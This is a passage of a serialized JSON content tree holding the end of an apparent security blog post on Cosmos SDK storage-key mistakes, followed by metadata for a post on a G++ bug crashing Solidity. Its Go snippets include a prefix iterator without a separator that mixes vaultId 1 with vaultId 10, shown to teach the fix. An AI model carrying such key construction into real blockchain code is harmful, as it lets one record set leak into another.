strings",{"type":22,"tag":118,"props":90186,"children":90187},{"style":125},[90188],{"type":28,"value":292},{"type":22,"tag":118,"props":90190,"children":90191},{"style":532},[90192],{"type":28,"value":71981},{"type":22,"tag":118,"props":90194,"children":90195},{"style":125},[90196],{"type":28,"value":540},{"type":22,"tag":118,"props":90198,"children":90199},{"style":204},[90200],{"type":28,"value":3613},{"type":22,"tag":118,"props":90202,"children":90203},{"style":125},[90204],{"type":28,"value":292},{"type":22,"tag":118,"props":90206,"children":90207},{"style":532},[90208],{"type":28,"value":90209},"Key",{"type":22,"tag":118,"props":90211,"children":90212},{"style":125},[90213],{"type":28,"value":20341},{"type":22,"tag":118,"props":90215,"children":90216},{"style":204},[90217],{"type":28,"value":90218},"Seperator",{"type":22,"tag":118,"props":90220,"children":90221},{"style":125},[90222],{"type":28,"value":3665},{"type":22,"tag":118,"props":90224,"children":90225},{"class":120,"line":368},[90226],{"type":22,"tag":118,"props":90227,"children":90228},{"emptyLinePlaceholder":15},[90229],{"type":28,"value":250},{"type":22,"tag":118,"props":90231,"children":90232},{"class":120,"line":384},[90233,90238,90242,90246,90251,90255,90259,90263,90267,90272,90276,90281,90285,90289],{"type":22,"tag":118,"props":90234,"children":90235},{"style":204},[90236],{"type":28,"value":90237},"        username",{"type":22,"tag":118,"props":90239,"children":90240},{"style":210},[90241],{"type":28,"value":78012},{"type":22,"tag":118,"props":90243,"children":90244},{"style":532},[90245],{"type":28,"value":87160},{"type":22,"tag":118,"props":90247,"children":90248},{"style":125},[90249],{"type":28,"value":90250},"([]",{"type":22,"tag":118,"props":90252,"children":90253},{"style":131},[90254],{"type":28,"value":86361},{"type":22,"tag":118,"props":90256,"children":90257},{"style":125},[90258],{"type":28,"value":231},{"type":22,"tag":118,"props":90260,"children":90261},{"style":204},[90262],{"type":28,"value":87233},{"type":22,"tag":118,"props":90264,"children":90265},{"style":125},[90266],{"type":28,"value":292},{"type":22,"tag":118,"props":90268,"children":90269},{"style":532},[90270],{"type":28,"value":90271},"DecodedLen",{"type":22,"tag":118,"props":90273,"children":90274},{"style":125},[90275],{"type":28,"value":540},{"type":22,"tag":118,"props":90277,"children":90278},{"style":204},[90279],{"type":28,"value":90280},"k",{"type":22,"tag":118,"props":90282,"children":90283},{"style":125},[90284],{"type":28,"value":5746},{"type":22,"tag":118,"props":90286,"children":90287},{"style":674},[90288],{"type":28,"value":6036},{"type":22,"tag":118,"props":90290,"children":90291},{"style":125},[90292],{"type":28,"value":90293},"]))\n",{"type":22,"tag":118,"props":90295,"children":90296},{"class":120,"line":417},[90297,90301,90305,90309,90313,90318,90322,90327,90331,90335,90339,90343,90347,90351],{"type":22,"tag":118,"props":90298,"children":90299},{"style":204},[90300],{"type":28,"value":29688},{"type":22,"tag":118,"props":90302,"children":90303},{"style":125},[90304],{"type":28,"value":231},{"type":22,"tag":118,"props":90306,"children":90307},{"style":204},[90308],{"type":28,"value":50360},{"type":22,"tag":118,"props":90310,"children":90311},{"style":210},[90312],{"type":28,"value":78012},{"type":22,"tag":118,"props":90314,"children":90315},{"style":204},[90316],{"type":28,"value":90317}," hex",{"type":22,"tag":118,"props":90319,"children":90320},{"style":125},[90321],{"type":28,"value":292},{"type":22,"tag":118,"props":90323,"children":90324},{"style":532},[90325],{"type":28,"value":90326},"Decode",{"type":22,"tag":118,"props":90328,"children":90329},{"style":125},[90330],{"type":28,"value":540},{"type":22,"tag":118,"props":90332,"children":90333},{"style":204},[90334],{"type":28,"value":87067},{"type":22,"tag":118,"props":90336,"children":90337},{"style":125},[90338],{"type":28,"value":231},{"type":22,"tag":118,"props":90340,"children":90341},{"style":204},[90342],{"type":28,"value":90280},{"type":22,"tag":118,"props":90344,"children":90345},{"style":125},[90346],{"type":28,"value":5746},{"type":22,"tag":118,"props":90348,"children":90349},{"style":674},[90350],{"type":28,"value":6036},{"type":22,"tag":118,"props":90352,"children":90353},{"style":125},[90354],{"type":28,"value":3720},{"type":22,"tag":118,"props":90356,"children":90357},{"class":120,"line":425},[90358,90362,90366,90370,90374],{"type":22,"tag":118,"props":90359,"children":90360},{"style":1480},[90361],{"type":28,"value":5293},{"type":22,"tag":118,"props":90363,"children":90364},{"style":204},[90365],{"type":28,"value":50461},{"type":22,"tag":118,"props":90367,"children":90368},{"style":210},[90369],{"type":28,"value":66328},{"type":22,"tag":118,"props":90371,"children":90372},{"style":146},[90373],{"type":28,"value":83514},{"type":22,"tag":118,"props":90375,"children":90376},{"style":125},[90377],{"type":28,"value":1474},{"type":22,"tag":118,"props":90379,"children":90380},{"class":120,"line":441},[90381,90385,90389,90393],{"type":22,"tag":118,"props":90382,"children":90383},{"style":1480},[90384],{"type":28,"value":80672},{"type":22,"tag":118,"props":90386,"children":90387},{"style":146},[90388],{"type":28,"value":83514},{"type":22,"tag":118,"props":90390,"children":90391},{"style":125},[90392],{"type":28,"value":231},{"type":22,"tag":118,"props":90394,"children":90395},{"style":204},[90396],{"type":28,"value":85235},{"type":22,"tag":118,"props":90398,"children":90399},{"class":120,"line":475},[90400],{"type":22,"tag":118,"props":90401,"children":90402},{"style":125},[90403],{"type":28,"value":1835},{"type":22,"tag":118,"props":90405,"children":90406},{"class":120,"line":484},[90407],{"type":22,"tag":118,"props":90408,"children":90409},{"emptyLinePlaceholder":15},[90410],{"type":28,"value":250},{"type":22,"tag":118,"props":90412,"children":90413},{"class":120,"line":492},[90414,90419,90423,90427,90431,90435,90439,90443,90447,90451,90455,90459,90463,90467],{"type":22,"tag":118,"props":90415,"children":90416},{"style":204},[90417],{"type":28,"value":90418},"        positionName",{"type":22,"tag":118,"props":90420,"children":90421},{"style":210},[90422],{"type":28,"value":78012},{"type":22,"tag":118,"props":90424,"children":90425},{"style":532},[90426],{"type":28,"value":87160},{"type":22,"tag":118,"props":90428,"children":90429},{"style":125},[90430],{"type":28,"value":90250},{"type":22,"tag":118,"props":90432,"children":90433},{"style":131},[90434],{"type":28,"value":86361},{"type":22,"tag":118,"props":90436,"children":90437},{"style":125},[90438],{"type":28,"value":231},{"type":22,"tag":118,"props":90440,"children":90441},{"style":204},[90442],{"type":28,"value":87233},{"type":22,"tag":118,"props":90444,"children":90445},{"style":125},[90446],{"type":28,"value":292},{"type":22,"tag":118,"props":90448,"children":90449},{"style":532},[90450],{"type":28,"value":90271},{"type":22,"tag":118,"props":90452,"children":90453},{"style":125},[90454],{"type":28,"value":540},{"type":22,"tag":118,"props":90456,"children":90457},{"style":204},[90458],{"type":28,"value":90280},{"type":22,"tag":118,"props":90460,"children":90461},{"style":125},[90462],{"type":28,"value":5746},{"type":22,"tag":118,"props":90464,"children":90465},{"style":674},[90466],{"type":28,"value":6026},{"type":22,"tag":118,"props":90468,"children":90469},{"style":125},[90470],{"type":28,"value":90293},{"type":22,"tag":118,"props":90472,"children":90473},{"class":120,"line":501},[90474,90478,90482,90486,90490,90494,90498,90502,90506,90510,90514,90518,90522,90526],{"type":22,"tag":118,"props":90475,"children":90476},{"style":204},[90477],{"type":28,"value":29688},{"type":22,"tag":118,"props":90479,"children":90480},{"style":125},[90481],{"type":28,"value":231},{"type":22,"tag":118,"props":90483,"children":90484},{"style":204},[90485],{"type":28,"value":50360},{"type":22,"tag":118,"props":90487,"children":90488},{"style":210},[90489],{"type":28,"value":78012},{"type":22,"tag":118,"props":90491,"children":90492},{"style":204},[90493],{"type":28,"value":90317},{"type":22,"tag":118,"props":90495,"children":90496},{"style":125},[90497],{"type":28,"value":292},{"type":22,"tag":118,"props":90499,"children":90500},{"style":532},[90501],{"type":28,"value":90326},{"type":22,"tag":118,"props":90503,"children":90504},{"style":125},[90505],{"type":28,"value":540},{"type":22,"tag":118,"props":90507,"children":90508},{"style":204},[90509],{"type":28,"value":87336},{"type":22,"tag":118,"props":90511,"children":90512},{"style":125},[90513],{"type":28,"value":231},{"type":22,"tag":118,"props":90515,"children":90516},{"style":204},[90517],{"type":28,"value":90280},{"type":22,"tag":118,"props":90519,"children":90520},{"style":125},[90521],{"type":28,"value":5746},{"type":22,"tag":118,"props":90523,"children":90524},{"style":674},[90525],{"type":28,"value":6026},{"type":22,"tag":118,"props":90527,"children":90528},{"style":125},[90529],{"type":28,"value":3720},{"type":22,"tag":118,"props":90531,"children":90532},{"class":120,"line":519},[90533,90537,90541,90545,90549],{"type":22,"tag":118,"props":90534,"children":90535},{"style":1480},[90536],{"type":28,"value":5293},{"type":22,"tag":118,"props":90538,"children":90539},{"style":204},[90540],{"type":28,"value":50461},{"type":22,"tag":118,"props":90542,"children":90543},{"style":210},[90544],{"type":28,"value":66328},{"type":22,"tag":118,"props":90546,"children":90547},{"style":146},[90548],{"type":28,"value":83514},{"type":22,"tag":118,"props":90550,"children":90551},{"style":125},[90552],{"type":28,"value":1474},{"type":22,"tag":118,"props":90554,"children":90555},{"class":120,"line":606},[90556,90560,90564,90568],{"type":22,"tag":118,"props":90557,"children":90558},{"style":1480},[90559],{"type":28,"value":80672},{"type":22,"tag":118,"props":90561,"children":90562},{"style":146},[90563],{"type":28,"value":83514},{"type":22,"tag":118,"props":90565,"children":90566},{"style":125},[90567],{"type":28,"value":231},{"type":22,"tag":118,"props":90569,"children":90570},{"style":204},[90571],{"type":28,"value":85235},{"type":22,"tag":118,"props":90573,"children":90574},{"class":120,"line":615},[90575],{"type":22,"tag":118,"props":90576,"children":90577},{"style":125},[90578],{"type":28,"value":1835},{"type":22,"tag":118,"props":90580,"children":90581},{"class":120,"line":685},[90582],{"type":22,"tag":118,"props":90583,"children":90584},{"emptyLinePlaceholder":15},[90585],{"type":28,"value":250},{"type":22,"tag":118,"props":90587,"children":90588},{"class":120,"line":699},[90589,90593,90597,90601,90605,90609,90614,90618,90622,90627,90631,90635],{"type":22,"tag":118,"props":90590,"children":90591},{"style":1480},[90592],{"type":28,"value":5293},{"type":22,"tag":118,"props":90594,"children":90595},{"style":204},[90596],{"type":28,"value":64583},{"type":22,"tag":118,"props":90598,"children":90599},{"style":125},[90600],{"type":28,"value":231},{"type":22,"tag":118,"props":90602,"children":90603},{"style":204},[90604],{"type":28,"value":80363},{"type":22,"tag":118,"props":90606,"children":90607},{"style":210},[90608],{"type":28,"value":78012},{"type":22,"tag":118,"props":90610,"children":90611},{"style":204},[90612],{"type":28,"value":90613}," values",{"type":22,"tag":118,"props":90615,"children":90616},{"style":125},[90617],{"type":28,"value":5746},{"type":22,"tag":118,"props":90619,"children":90620},{"style":204},[90621],{"type":28,"value":87067},{"type":22,"tag":118,"props":90623,"children":90624},{"style":125},[90625],{"type":28,"value":90626},"]; ",{"type":22,"tag":118,"props":90628,"children":90629},{"style":210},[90630],{"type":28,"value":22581},{"type":22,"tag":118,"props":90632,"children":90633},{"style":204},[90634],{"type":28,"value":80363},{"type":22,"tag":118,"props":90636,"children":90637},{"style":125},[90638],{"type":28,"value":1474},{"type":22,"tag":118,"props":90640,"children":90641},{"class":120,"line":729},[90642,90647,90651,90655,90659,90663,90667,90671,90675,90679,90683],{"type":22,"tag":118,"props":90643,"children":90644},{"style":204},[90645],{"type":28,"value":90646},"            values",{"type":22,"tag":118,"props":90648,"children":90649},{"style":125},[90650],{"type":28,"value":5746},{"type":22,"tag":118,"props":90652,"children":90653},{"style":204},[90654],{"type":28,"value":87067},{"type":22,"tag":118,"props":90656,"children":90657},{"style":125},[90658],{"type":28,"value":10663},{"type":22,"tag":118,"props":90660,"children":90661},{"style":210},[90662],{"type":28,"value":282},{"type":22,"tag":118,"props":90664,"children":90665},{"style":532},[90666],{"type":28,"value":87160},{"type":22,"tag":118,"props":90668,"children":90669},{"style":125},[90670],{"type":28,"value":540},{"type":22,"tag":118,"props":90672,"children":90673},{"style":146},[90674],{"type":28,"value":3595},{"type":22,"tag":118,"props":90676,"children":90677},{"style":125},[90678],{"type":28,"value":5746},{"type":22,"tag":118,"props":90680,"children":90681},{"style":131},[90682],{"type":28,"value":86765},{"type":22,"tag":118,"props":90684,"children":90685},{"style":125},[90686],{"type":28,"value":3720},{"type":22,"tag":118,"props":90688,"children":90689},{"class":120,"line":771},[90690],{"type":22,"tag":118,"props":90691,"children":90692},{"style":125},[90693],{"type":28,"value":1835},{"type":22,"tag":118,"props":90695,"children":90696},{"class":120,"line":785},[90697],{"type":22,"tag":118,"props":90698,"children":90699},{"emptyLinePlaceholder":15},[90700],{"type":28,"value":250},{"type":22,"tag":118,"props":90702,"children":90703},{"class":120,"line":804},[90704,90709,90713,90717,90721,90725,90729,90733,90737],{"type":22,"tag":118,"props":90705,"children":90706},{"style":204},[90707],{"type":28,"value":90708},"        values",{"type":22,"tag":118,"props":90710,"children":90711},{"style":125},[90712],{"type":28,"value":5746},{"type":22,"tag":118,"props":90714,"children":90715},{"style":204},[90716],{"type":28,"value":87067},{"type":22,"tag":118,"props":90718,"children":90719},{"style":125},[90720],{"type":28,"value":50898},{"type":22,"tag":118,"props":90722,"children":90723},{"style":204},[90724],{"type":28,"value":87336},{"type":22,"tag":118,"props":90726,"children":90727},{"style":125},[90728],{"type":28,"value":10663},{"type":22,"tag":118,"props":90730,"children":90731},{"style":210},[90732],{"type":28,"value":282},{"type":22,"tag":118,"props":90734,"children":90735},{"style":204},[90736],{"type":28,"value":9431},{"type":22,"tag":118,"props":90738,"children":90739},{"style":125},[90740],{"type":28,"value":1474},{"type":22,"tag":118,"props":90742,"children":90743},{"class":120,"line":812},[90744,90748,90752,90757,90761,90766],{"type":22,"tag":118,"props":90745,"children":90746},{"style":204},[90747],{"type":28,"value":28892},{"type":22,"tag":118,"props":90749,"children":90750},{"style":125},[90751],{"type":28,"value":1319},{"type":22,"tag":118,"props":90753,"children":90754},{"style":204},[90755],{"type":28,"value":90756},"iterator",{"type":22,"tag":118,"props":90758,"children":90759},{"style":125},[90760],{"type":28,"value":292},{"type":22,"tag":118,"props":90762,"children":90763},{"style":532},[90764],{"type":28,"value":90765},"Value",{"type":22,"tag":118,"props":90767,"children":90768},{"style":125},[90769],{"type":28,"value":768},{"type":22,"tag":118,"props":90771,"children":90772},{"class":120,"line":821},[90773],{"type":22,"tag":118,"props":90774,"children":90775},{"style":125},[90776],{"type":28,"value":1835},{"type":22,"tag":118,"props":90778,"children":90779},{"class":120,"line":900},[90780],{"type":22,"tag":118,"props":90781,"children":90782},{"style":125},[90783],{"type":28,"value":1254},{"type":22,"tag":118,"props":90785,"children":90786},{"class":120,"line":913},[90787,90791],{"type":22,"tag":118,"props":90788,"children":90789},{"style":1480},[90790],{"type":28,"value":18954},{"type":22,"tag":118,"props":90792,"children":90793},{"style":204},[90794],{"type":28,"value":90795}," values\n",{"type":22,"tag":118,"props":90797,"children":90798},{"class":120,"line":953},[90799],{"type":22,"tag":118,"props":90800,"children":90801},{"style":125},[90802],{"type":28,"value":481},{"type":22,"tag":31,"props":90804,"children":90805},{},[90806,90808,90814,90815,90821,90823,90828,90830,90835,90837,90842,90844,90850,90852,90858],{"type":28,"value":90807},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":22,"tag":114,"props":90809,"children":90811},{"className":90810},[],[90812],{"type":28,"value":90813},"vaultId = 1",{"type":28,"value":12991},{"type":22,"tag":114,"props":90816,"children":90818},{"className":90817},[],[90819],{"type":28,"value":90820},"vaultId = 10",{"type":28,"value":90822}," coexist. If we try to fetch data under ",{"type":22,"tag":114,"props":90824,"children":90826},{"className":90825},[],[90827],{"type":28,"value":90813},{"type":28,"value":90829},", all entries under ",{"type":22,"tag":114,"props":90831,"children":90833},{"className":90832},[],[90834],{"type":28,"value":90820},{"type":28,"value":90836}," will also be returned simply because ",{"type":22,"tag":114,"props":90838,"children":90840},{"className":90839},[],[90841],{"type":28,"value":6026},{"type":28,"value":90843}," is a prefix of ",{"type":22,"tag":114,"props":90845,"children":90847},{"className":90846},[],[90848],{"type":28,"value":90849},"10",{"type":28,"value":90851},". To fix this, we must once again append the ",{"type":22,"tag":114,"props":90853,"children":90855},{"className":90854},[],[90856],{"type":28,"value":90857},"Separator",{"type":28,"value":90859}," to the iterator prefix.",{"type":22,"tag":107,"props":90861,"children":90863},{"code":90862,"language":77760,"meta":7,"className":77761,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[90864],{"type":22,"tag":114,"props":90865,"children":90866},{"__ignoreMap":7},[90867,90894,90906,90959],{"type":22,"tag":118,"props":90868,"children":90869},{"class":120,"line":121},[90870,90874,90878,90882,90886,90890],{"type":22,"tag":118,"props":90871,"children":90872},{"style":204},[90873],{"type":28,"value":3613},{"type":22,"tag":118,"props":90875,"children":90876},{"style":210},[90877],{"type":28,"value":78012},{"type":22,"tag":118,"props":90879,"children":90880},{"style":204},[90881],{"type":28,"value":80237},{"type":22,"tag":118,"props":90883,"children":90884},{"style":125},[90885],{"type":28,"value":292},{"type":22,"tag":118,"props":90887,"children":90888},{"style":532},[90889],{"type":28,"value":90052},{"type":22,"tag":118,"props":90891,"children":90892},{"style":125},[90893],{"type":28,"value":696},{"type":22,"tag":118,"props":90895,"children":90896},{"class":120,"line":142},[90897,90902],{"type":22,"tag":118,"props":90898,"children":90899},{"style":204},[90900],{"type":28,"value":90901},"    kvStore",{"type":22,"tag":118,"props":90903,"children":90904},{"style":125},[90905],{"type":28,"value":782},{"type":22,"tag":118,"props":90907,"children":90908},{"class":120,"line":177},[90909,90914,90918,90922,90926,90931,90935,90939,90943,90947,90951,90955],{"type":22,"tag":118,"props":90910,"children":90911},{"style":204},[90912],{"type":28,"value":90913},"    fmt",{"type":22,"tag":118,"props":90915,"children":90916},{"style":125},[90917],{"type":28,"value":292},{"type":22,"tag":118,"props":90919,"children":90920},{"style":532},[90921],{"type":28,"value":86819},{"type":22,"tag":118,"props":90923,"children":90924},{"style":125},[90925],{"type":28,"value":540},{"type":22,"tag":118,"props":90927,"children":90928},{"style":1866},[90929],{"type":28,"value":90930},"\"%s%d%s\"",{"type":22,"tag":118,"props":90932,"children":90933},{"style":125},[90934],{"type":28,"value":231},{"type":22,"tag":118,"props":90936,"children":90937},{"style":204},[90938],{"type":28,"value":90102},{"type":22,"tag":118,"props":90940,"children":90941},{"style":125},[90942],{"type":28,"value":231},{"type":22,"tag":118,"props":90944,"children":90945},{"style":204},[90946],{"type":28,"value":89887},{"type":22,"tag":118,"props":90948,"children":90949},{"style":125},[90950],{"type":28,"value":231},{"type":22,"tag":118,"props":90952,"children":90953},{"style":204},[90954],{"type":28,"value":90218},{"type":22,"tag":118,"props":90956,"children":90957},{"style":125},[90958],{"type":28,"value":3853},{"type":22,"tag":118,"props":90960,"children":90961},{"class":120,"line":195},[90962],{"type":22,"tag":118,"props":90963,"children":90964},{"style":125},[90965],{"type":28,"value":3665},{"type":22,"tag":31,"props":90967,"children":90968},{},[90969,90971,90976],{"type":28,"value":90970},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":22,"tag":114,"props":90972,"children":90974},{"className":90973},[],[90975],{"type":28,"value":86573},{"type":28,"value":90977}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":22,"tag":31,"props":90979,"children":90980},{},[90981],{"type":28,"value":90982},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":22,"tag":1289,"props":90984,"children":90986},{"id":90985},"real-world-examples-5",[90987],{"type":28,"value":78285},{"type":22,"tag":31,"props":90989,"children":90990},{},[90991,90992,90997,90999,91006,91008,91014],{"type":28,"value":2743},{"type":22,"tag":114,"props":90993,"children":90995},{"className":90994},[],[90996],{"type":28,"value":80058},{"type":28,"value":90998}," previously lacked protection against KVStore ",{"type":22,"tag":42,"props":91000,"children":91003},{"href":91001,"rel":91002},"https://github.com/cosmos/cosmos-sdk/pull/9363",[46],[91004],{"type":28,"value":91005},"key collisions",{"type":28,"value":91007},". This prior oversight allowed developers to unintentionally create two ",{"type":22,"tag":114,"props":91009,"children":91011},{"className":91010},[],[91012],{"type":28,"value":91013},"KVStores",{"type":28,"value":91015}," that were not independent of each other.",{"type":22,"tag":31,"props":91017,"children":91018},{},[91019],{"type":22,"tag":42,"props":91020,"children":91023},{"href":91021,"rel":91022},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[46],[91024],{"type":28,"value":78335},{"type":22,"tag":107,"props":91026,"children":91028},{"code":91027,"language":77760,"meta":7,"className":77761,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[91029],{"type":22,"tag":114,"props":91030,"children":91031},{"__ignoreMap":7},[91032,91094,91142,91178,91218,91225,91232,91244],{"type":22,"tag":118,"props":91033,"children":91034},{"class":120,"line":121},[91035,91039,91044,91048,91053,91057,91061,91065,91069,91073,91077,91081,91085,91090],{"type":22,"tag":118,"props":91036,"children":91037},{"style":146},[91038],{"type":28,"value":77896},{"type":22,"tag":118,"props":91040,"children":91041},{"style":532},[91042],{"type":28,"value":91043}," NewKVStoreKeys",{"type":22,"tag":118,"props":91045,"children":91046},{"style":125},[91047],{"type":28,"value":540},{"type":22,"tag":118,"props":91049,"children":91050},{"style":204},[91051],{"type":28,"value":91052},"names",{"type":22,"tag":118,"props":91054,"children":91055},{"style":210},[91056],{"type":28,"value":27243},{"type":22,"tag":118,"props":91058,"children":91059},{"style":131},[91060],{"type":28,"value":31605},{"type":22,"tag":118,"props":91062,"children":91063},{"style":125},[91064],{"type":28,"value":588},{"type":22,"tag":118,"props":91066,"children":91067},{"style":146},[91068],{"type":28,"value":3595},{"type":22,"tag":118,"props":91070,"children":91071},{"style":125},[91072],{"type":28,"value":5746},{"type":22,"tag":118,"props":91074,"children":91075},{"style":131},[91076],{"type":28,"value":31605},{"type":22,"tag":118,"props":91078,"children":91079},{"style":125},[91080],{"type":28,"value":17386},{"type":22,"tag":118,"props":91082,"children":91083},{"style":210},[91084],{"type":28,"value":671},{"type":22,"tag":118,"props":91086,"children":91087},{"style":131},[91088],{"type":28,"value":91089},"KVStoreKey",{"type":22,"tag":118,"props":91091,"children":91092},{"style":125},[91093],{"type":28,"value":1474},{"type":22,"tag":118,"props":91095,"children":91096},{"class":120,"line":142},[91097,91102,91106,91110,91114,91118,91122,91126,91130,91134,91138],{"type":22,"tag":118,"props":91098,"children":91099},{"style":204},[91100],{"type":28,"value":91101},"    keys",{"type":22,"tag":118,"props":91103,"children":91104},{"style":210},[91105],{"type":28,"value":78012},{"type":22,"tag":118,"props":91107,"children":91108},{"style":532},[91109],{"type":28,"value":87160},{"type":22,"tag":118,"props":91111,"children":91112},{"style":125},[91113],{"type":28,"value":540},{"type":22,"tag":118,"props":91115,"children":91116},{"style":146},[91117],{"type":28,"value":3595},{"type":22,"tag":118,"props":91119,"children":91120},{"style":125},[91121],{"type":28,"value":5746},{"type":22,"tag":118,"props":91123,"children":91124},{"style":131},[91125],{"type":28,"value":31605},{"type":22,"tag":118,"props":91127,"children":91128},{"style":125},[91129],{"type":28,"value":17386},{"type":22,"tag":118,"props":91131,"children":91132},{"style":210},[91133],{"type":28,"value":671},{"type":22,"tag":118,"props":91135,"children":91136},{"style":131},[91137],{"type":28,"value":91089},{"type":22,"tag":118,"props":91139,"children":91140},{"style":125},[91141],{"type":28,"value":3665},{"type":22,"tag":118,"props":91143,"children":91144},{"class":120,"line":177},[91145,91149,91153,91157,91161,91165,91169,91174],{"type":22,"tag":118,"props":91146,"children":91147},{"style":1480},[91148],{"type":28,"value":5059},{"type":22,"tag":118,"props":91150,"children":91151},{"style":204},[91152],{"type":28,"value":5064},{"type":22,"tag":118,"props":91154,"children":91155},{"style":125},[91156],{"type":28,"value":231},{"type":22,"tag":118,"props":91158,"children":91159},{"style":204},[91160],{"type":28,"value":50438},{"type":22,"tag":118,"props":91162,"children":91163},{"style":210},[91164],{"type":28,"value":78012},{"type":22,"tag":118,"props":91166,"children":91167},{"style":1480},[91168],{"type":28,"value":78995},{"type":22,"tag":118,"props":91170,"children":91171},{"style":204},[91172],{"type":28,"value":91173}," names",{"type":22,"tag":118,"props":91175,"children":91176},{"style":125},[91177],{"type":28,"value":1474},{"type":22,"tag":118,"props":91179,"children":91180},{"class":120,"line":195},[91181,91185,91189,91193,91197,91201,91206,91210,91214],{"type":22,"tag":118,"props":91182,"children":91183},{"style":204},[91184],{"type":28,"value":27275},{"type":22,"tag":118,"props":91186,"children":91187},{"style":125},[91188],{"type":28,"value":5746},{"type":22,"tag":118,"props":91190,"children":91191},{"style":204},[91192],{"type":28,"value":50438},{"type":22,"tag":118,"props":91194,"children":91195},{"style":125},[91196],{"type":28,"value":10663},{"type":22,"tag":118,"props":91198,"children":91199},{"style":210},[91200],{"type":28,"value":282},{"type":22,"tag":118,"props":91202,"children":91203},{"style":532},[91204],{"type":28,"value":91205}," NewKVStoreKey",{"type":22,"tag":118,"props":91207,"children":91208},{"style":125},[91209],{"type":28,"value":540},{"type":22,"tag":118,"props":91211,"children":91212},{"style":204},[91213],{"type":28,"value":50438},{"type":22,"tag":118,"props":91215,"children":91216},{"style":125},[91217],{"type":28,"value":3665},{"type":22,"tag":118,"props":91219,"children":91220},{"class":120,"line":244},[91221],{"type":22,"tag":118,"props":91222,"children":91223},{"style":125},[91224],{"type":28,"value":1254},{"type":22,"tag":118,"props":91226,"children":91227},{"class":120,"line":253},[91228],{"type":22,"tag":118,"props":91229,"children":91230},{"emptyLinePlaceholder":15},[91231],{"type":28,"value":250},{"type":22,"tag":118,"props":91233,"children":91234},{"class":120,"line":263},[91235,91239],{"type":22,"tag":118,"props":91236,"children":91237},{"style":1480},[91238],{"type":28,"value":18954},{"type":22,"tag":118,"props":91240,"children":91241},{"style":204},[91242],{"type":28,"value":91243}," keys\n",{"type":22,"tag":118,"props":91245,"children":91246},{"class":120,"line":318},[91247],{"type":22,"tag":118,"props":91248,"children":91249},{"style":125},[91250],{"type":28,"value":481},{"type":22,"tag":31,"props":91252,"children":91253},{},[91254,91256,91261,91263,91268,91270,91275],{"type":28,"value":91255},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":22,"tag":114,"props":91257,"children":91259},{"className":91258},[],[91260],{"type":28,"value":80058},{"type":28,"value":91262}," will refuse to run if any ",{"type":22,"tag":114,"props":91264,"children":91266},{"className":91265},[],[91267],{"type":28,"value":86573},{"type":28,"value":91269}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":22,"tag":114,"props":91271,"children":91273},{"className":91272},[],[91274],{"type":28,"value":86573},{"type":28,"value":91276}," level.",{"type":22,"tag":31,"props":91278,"children":91279},{},[91280,91282,91289],{"type":28,"value":91281},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":22,"tag":42,"props":91283,"children":91286},{"href":91284,"rel":91285},"https://github.com/cosmos/cosmos-sdk/issues/12661",[46],[91287],{"type":28,"value":91288},"incorrect iterator behavior",{"type":28,"value":292},{"type":22,"tag":31,"props":91291,"children":91292},{},[91293,91295,91302],{"type":28,"value":91294},"Notably, gradual adoption of the ",{"type":22,"tag":42,"props":91296,"children":91299},{"href":91297,"rel":91298},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[46],[91300],{"type":28,"value":91301},"collections",{"type":28,"value":91303}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":22,"tag":23,"props":91305,"children":91306},{"id":30872},[91307],{"type":28,"value":20914},{"type":22,"tag":31,"props":91309,"children":91310},{},[91311],{"type":28,"value":91312},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":22,"tag":31,"props":91314,"children":91315},{},[91316],{"type":28,"value":91317},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":22,"tag":4880,"props":91319,"children":91320},{},[91321],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":91323},[91324,91325,91328,91331,91334,91337,91340,91343],{"id":25,"depth":142,"text":29},{"id":77477,"depth":142,"text":77480,"children":91326},[91327],{"id":78282,"depth":177,"text":78285},{"id":78878,"depth":142,"text":78881,"children":91329},[91330],{"id":79527,"depth":177,"text":78285},{"id":80024,"depth":142,"text":80027,"children":91332},[91333],{"id":81324,"depth":177,"text":78285},{"id":82668,"depth":142,"text":82671,"children":91335},[91336],{"id":83206,"depth":177,"text":78285},{"id":84725,"depth":142,"text":84728,"children":91338},[91339],{"id":85605,"depth":177,"text":78285},{"id":86559,"depth":142,"text":86562,"children":91341},[91342],{"id":90985,"depth":177,"text":78285},{"id":30872,"depth":142,"text":20914},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":91348,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91349,"description":91350,"author":91351,"image":91352,"date":91354,"tags":91355,"isFeatured":15,"onBlogPage":15,"body":91356,"_type":4896,"_id":94065,"_source":4898,"_file":94066,"_stem":94067,"_extension":4901},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix 